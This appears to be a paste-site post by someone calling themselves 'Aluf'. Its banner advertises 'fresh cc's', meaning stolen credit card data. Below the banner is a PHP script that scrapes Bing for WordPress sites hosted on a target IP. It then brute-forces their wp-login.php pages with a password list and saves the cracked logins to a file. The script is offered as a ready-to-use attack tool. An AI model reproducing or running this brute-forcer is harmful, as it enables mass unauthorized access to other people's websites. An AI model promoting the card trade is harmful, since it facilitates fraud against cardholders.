Wordpress BruteForce fixed by Aluf

########################################################################
########################################################################
####                     Posts  © Aluf                              ####
####               http://Aluf.chatango.com                         ####
####                                                                ####
  _____  .__          _____                                         ####
  /  _  \ |  |  __ ___/ ____\                                       ####
 /  /_\  \|  | |  |  \   __\                                        ####
/    |    \  |_|  |  /|  |                                          ####
\____|__  /____/____/ |__|     © Aluf-[www.pastebing.tk]            ####
        \/                                                          ####
####   Message me anytime for any doubts .CC's i post might not     ####
####   be working  everytime,so message me for fresh cc's  .        ####
####   Website :   www.pastebing.tk                                 ####
####   If you need suggestion for the pastebin bots of chatango     ####
####   message me,lol i have run all the bots here myself,so        ####
####   i guess ,i know which is the worst and best   .              ####
####   Do not ask for my bot code on pm ,i quit years back .        ####
####   If you have doubts regarding other codes on my pastebin      ####
####   Still message me on Aluf or tyt or 93. [93 FOR COMPLAINS]    ####
####   I Have been getting a lot of messages lately for cc's        ####
####   and the worst part is many want to know to hack cc           ####
####   I cannot help you with that ,you have to find a way yourself ####
####   but ofc you can always ask for cc's but don't ask me how to  ####
 ____  _     _     _____                                            ####
/  _ \/ \   / \ /\/    /                                            ####
| / \|| |   | | |||  __\                                            ####
| |-||| |_/\| \_/|| |                                               ####
\_/ \|\____/\____/\_/   ©   PMR [ Add me before messaging ]         ####
########################################################################


<?
        /*
         ******************** BY ALUF *************************
        */
        @set_time_limit(0);
        if(count($argv)<3)
        {
                print "
                               _  _
            BruteForcer fixed by Aluf\r\n";

                die();
        }
        ################
        $ip = $argv[1];
        $username = $argv[2];
        $passlist = $argv[3];
        $password = explode("\n", @file_get_contents($passlist));
        $bing = "IP:+{$ip}+page_id=";
        ################
   function check($url)
        {
                $url=(!eregi("http://www",$url))?str_replace("http://","http://www.",$url):$url;
        preg_match("#(.*?)\/[?]page_id=#",$url,$m);
        return $m[1];
    }
        print("                   SEX   \r\n");
        for($i=1;$i<=10+10;$i++)
        {
                $get = @file_get_contents("http://www.bing.com/search?q={$bing}&go=&qs=ds&filt=all&first=$i");
                preg_match_all('#(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>)#siU',$get, $site);
                $sites = array_unique($site[2]);
        }
                $fopen = fopen('xsec-sites.txt','w');
                foreach($sites as $webs)
                {
                        $domains = check($webs);
                        $do = "{$domains}\r\n";
                        $f = fwrite($fopen,$do);
                        if($f)
                        {
                                print "# {$domains} -> Saved ! #\r\n";
                        }
                }
        ################## Brute Force ##################

        $xsec_list = "xsec-sites.txt";
        $fopen2 = fopen('cracks.txt','a+');
        $weblist = explode("\n", @file_get_contents($xsec_list));
        foreach($weblist as $web)
        {
                $web = @trim($web);
                print "{$web}/ \r\n";
                foreach($password as $pass)
                {
                        $pass = @trim($pass);
                        $b0x = b0x($web,$username,$pass);
                        if(preg_match('/<div id="screen-meta" class="metabox-prefs">/', $b0x))
                        {
                                print "Cracked -> {$username} -> {$pass}\r\n";
                                $s1 = "{$web} -> User: {$username} -> Pass: {$pass}\r\n";
                                fwrite($fopen2,$s1);
                                break;
                        }
                }
        }
        function b0x($web,$username,$pass)
        {
        $curl = curl_init();
        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($curl,CURLOPT_FOLLOWLOCATION,1);
        curl_setopt($curl,CURLOPT_COOKIEJAR, getcwd()."./b0x.txt");
        curl_setopt($curl,CURLOPT_COOKIEFILE, getcwd()."./b0x.txt");
        curl_setopt($curl,CURLOPT_URL, "{$web}/wp-login.php");
                curl_setopt($curl,CURLOPT_POSTFIELDS, "log={$username}&pwd={$pass}&wp-submit=Log+In&redirect_to=./wp-admin/&testcookie=1");
        $brute = curl_exec($curl);
                return $brute;
    }
        @system("del b0x.txt");
        @system("rm b0x.txt");

?>